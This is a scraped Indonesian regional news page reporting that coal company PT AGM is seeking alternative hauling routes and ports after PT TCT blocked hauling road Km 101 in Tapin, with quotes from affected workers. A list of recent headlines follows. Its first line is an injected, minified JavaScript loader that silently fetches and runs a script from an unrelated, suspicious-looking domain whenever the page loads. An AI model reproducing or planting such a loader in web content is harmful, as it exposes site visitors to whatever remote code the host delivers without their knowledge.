(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tapin

Imbas Blokade Jalan Hauling Km 101, PT AGM Cari Alternatif Pelabuhan


KANALKALIMANTAN.COM, RANTAU – PT Antang Gunung Meratus (AGM), Pemegang Kontrak Karya Pengusahaan dan Pertambangan Batubara (PKP2B) mencari solusi untuk bisa segera mengirimkan batubara kepada para pelanggan.

Langkah ini dilakukan PT AGM untuk memberikan kepastian penghasilan bagi ribuan sopir dan pekerja yang saat ini terdampak penutupan jalan hauling Km 101 Tapin oleh PT Tapin Coal Terminal (TCT).

“Kami sudah melakukan pembicaraan dan dalam proses kesepakatan untuk menggunakan jalan hauling menuju pelabuhan batubara dengan beberapa perusahaan. Prioritas kami adalah membantu pekerja terdampak blokade Km 101 di Tapin agar dapat segera mendapatkan penghasilan tanpa melakukan pelanggaran hukum,” jelas Arifin Zainul Fanani, Deputy Chief Operating Officer PT AGM, Senin (27/12/2021).

Meski demikian, Arifin mengakui pengiriman batubara melalui jalan hauling dan ke pelabuhan lain tidak mudah. Ia mengungkapkan, ada upaya dari pihak tertentu yang berusaha menghalangi AGM untuk menggunakan jasa perusahaan lain.

 

Protes pekerja batubara terkait penutupan jalan hauling Km 101. Foto : ist

Baca juga : Bantu Pemasaran UMKM, Dekranasda Kabupaten Balangan Buka Rest Area

Arifin menuturkan, awal bulan ini PT AGM sudah berbicara dengan salah satu perusahaan dan mereka menyatakan sanggup untuk infrastruktur logistik dipakai untuk mengirimkan semua kiriman. Akan tetapi selang beberapa hari kemudian, kesanggupan itu batal. Perusahaan tersebut hanya dapat menerima produk batubara kalori 3,400 dari Blok 4 saja dan untuk kalori 4,200 dari Blok 3 tidak diterima.

“Jadi ada upaya agar kami tidak bisa mengirimkan batubara dari tambang PT AGM ke pelanggan. Cara-cara seperti ini jelas-jelas merugikan pekerja, rakyat Tapin dan negara, karena membatasi produktivitas tambang pemegang kontrak PKP2B,” tuturnya.

Ia menambahkan, sebagai pelaku usaha nasional, AGM selama ini selalu menjalin kerja sama dengan melibatkan perusahaan lain dalam mengembangkan bisnis batu bara di Tapin. Pihaknya berpandangan, kerja sama dengan perusahaan lain dibutuhkan agar tambang di Tapin memberi manfaat yang semakin luas bagi ekonomi di daerah ini.

“Lewat kerja sama itu berarti ada banyak pelaku usaha yang terlibat, banyak masyarakat yang bekerja dan muncul sentra-sentra usaha kecil pendukungnya, sehingga ekonomi bisa tumbuh lebih cepat dan merata. Tapi, kerja sama itu tentunya harus dilakukan sesuai koridor bisnis dan hukum yang jelas, tidak ada pemaksaan apalagi pemalakan,” tambah Arifin.

 

Baca juga : Kapolres Banjar Minta Semua Pihak Kerja Keras Naikkan Persentase Capaian Vaksinasi

PT AGM akan selalu tunduk dan patuh terhadap setiap ketentuan hukum. Itu sebabnya, perusahaan tidak bisa melakukan kerja sama jika tidak ada kepastian hukum, termasuk dengan PT TCT. Apalagi saat ini AGM sedang menggugat TCT di PN Tapin terkait legalitas Perjanjian 2010.

“Dengan perjanjian yang sah dan sudah berjalan baik selama 10 tahun saja kami dipersoalkan. AGM tidak mungkin menjalankan kerjasama dengan pihak lain tanpa dasar dan kepastian hukum yang jelas,” tegasnya.

Ketua Perwakilan Asosiasi Tongkang, H Safei mengungkapkan blokade yang berlangsung sejak 27 November telah memberikan dampak yang signifikan terhadap usaha dan keluarganya. Lantaran tidak dapat lagi beroperasi, H Safei mengaku tidak sanggup membayar pinjaman kepada pihak bank.

“Tongkang-tongkang punya saya tidak lagi kerja. Saya sampai telepon orang kredit (bank) bahwa siap-siap untuk tidak bisa bayar. Kami ini tidak salah. Kami ini korban,” kata H Safei dalam rapat dengar pendapat yang diadakan DPRD Kabupaten Tapin pada 8 Desember lalu. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Dua Hari Kunjungan Khusus di Lapas Banjarbaru saat Momen Lebaran

KANALKALIMANTAN.COM, BANJARBARU - Libur Lebaran Idulfitri menjadi momen spesial satu tahun sekali yang dilaksanakan oleh… Read More

12 jam ago

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

1 hari ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

1 hari ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

1 hari ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

2 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

This website uses cookies.